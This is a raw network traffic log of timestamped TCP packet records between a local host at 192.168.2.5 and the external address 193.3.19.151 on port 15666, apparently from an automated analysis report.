Dec 19, 2024 08:53:06.055263996 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055319071 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055350065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055418015 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055463076 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055480957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055510044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055562973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055605888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055685043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055742025 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055835962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055890083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055952072 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056006908 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056049109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056101084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056183100 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056245089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056292057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056340933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056359053 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056386948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056451082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056505919 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056541920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056606054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056637049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056654930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056691885 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056740046 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056777000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056835890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056869030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.056915045 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.056942940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057041883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057095051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057096004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057188034 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057189941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057286978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057303905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057336092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057426929 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057499886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057509899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057576895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057616949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057701111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057715893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057753086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.057863951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057925940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.057977915 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058046103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058100939 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058135033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058259010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058319092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058361053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058415890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058476925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058533907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058546066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058588028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058593988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058614016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058634996 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058664083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058686018 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058739901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.058773994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.058794975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.059309959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.059380054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.059434891 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.059497118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.059513092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.059606075 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.059925079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060117006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060148001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060163975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060183048 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060206890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060219049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060265064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060369968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060450077 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060554981 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060616016 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060652971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060702085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060769081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060825109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060872078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.060935974 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.060992002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.061024904 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.061077118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.061114073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.061168909 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.061182976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.061310053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.061367989 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.061368942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.061517000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062083960 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062136889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062392950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062453032 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062495947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062537909 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062588930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062632084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062726974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062758923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062774897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062797070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062876940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062902927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.062959909 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.062998056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.063049078 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.063077927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.063122034 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.063123941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.063165903 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.063169003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.063214064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.063214064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.063271999 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.145565033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.145693064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.153855085 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.153954029 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.154061079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.154205084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.154283047 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.154340982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.154373884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.154443979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.154772997 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.154887915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.154973030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.155021906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.155138016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.155208111 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.155332088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.155388117 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.155451059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.155761003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.155842066 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.155927896 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.155960083 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.156037092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.156264067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.156626940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.156708956 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.156816959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.157008886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.157088041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.157217979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.157422066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.157495975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.157586098 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.157641888 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.157890081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.158018112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.158113003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.158205032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.158350945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.158427000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.158560991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.158765078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.158853054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.158941031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159049988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159130096 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.159174919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159265041 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159357071 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.159467936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159532070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159687996 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.159785986 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160069942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160244942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160249949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160283089 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160305977 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160341024 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160351992 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160502911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160521030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160559893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160612106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160681963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160748959 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.160815001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.160979986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161214113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161240101 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161258936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161295891 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161309004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161331892 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161380053 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161601067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161664009 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161726952 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161760092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161803007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161809921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161848068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.161868095 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161894083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.161974907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162137985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162194014 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.162224054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162333012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162389994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.162486076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162543058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162600994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.162689924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162748098 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.162820101 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162863970 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162909985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162961006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.162969112 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163080931 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163100958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163106918 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163136959 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163153887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163218021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163269997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163297892 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163348913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163391113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163542032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163552046 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163606882 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163618088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163702011 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163717985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163784981 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163863897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.163917065 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.163952112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164016962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164136887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.164171934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164222002 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.164230108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164278030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.164378881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164479017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164591074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164644003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.164715052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164779902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.164870977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.164940119 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.164951086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165040016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165138006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165241957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165287971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165303946 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165337086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165395021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165450096 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165463924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165505886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165537119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165581942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165596008 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165642023 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165726900 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165776968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165777922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165837049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.165894985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.165903091 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166029930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166060925 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.166110039 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.166111946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166197062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166352034 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166408062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.166435003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166477919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166538000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166594028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.166646004 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166695118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.166723967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166876078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.166945934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.166974068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167021036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167059898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167119980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167202950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167273045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167335987 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167354107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167386055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167403936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167491913 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167562008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167614937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167733908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167808056 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167872906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167923927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.167951107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.167999983 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168030024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168073893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168092966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168143988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168232918 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168286085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168329000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.168374062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.168484926 CET	15666	49709	193.3.19.151	192.168.2.5
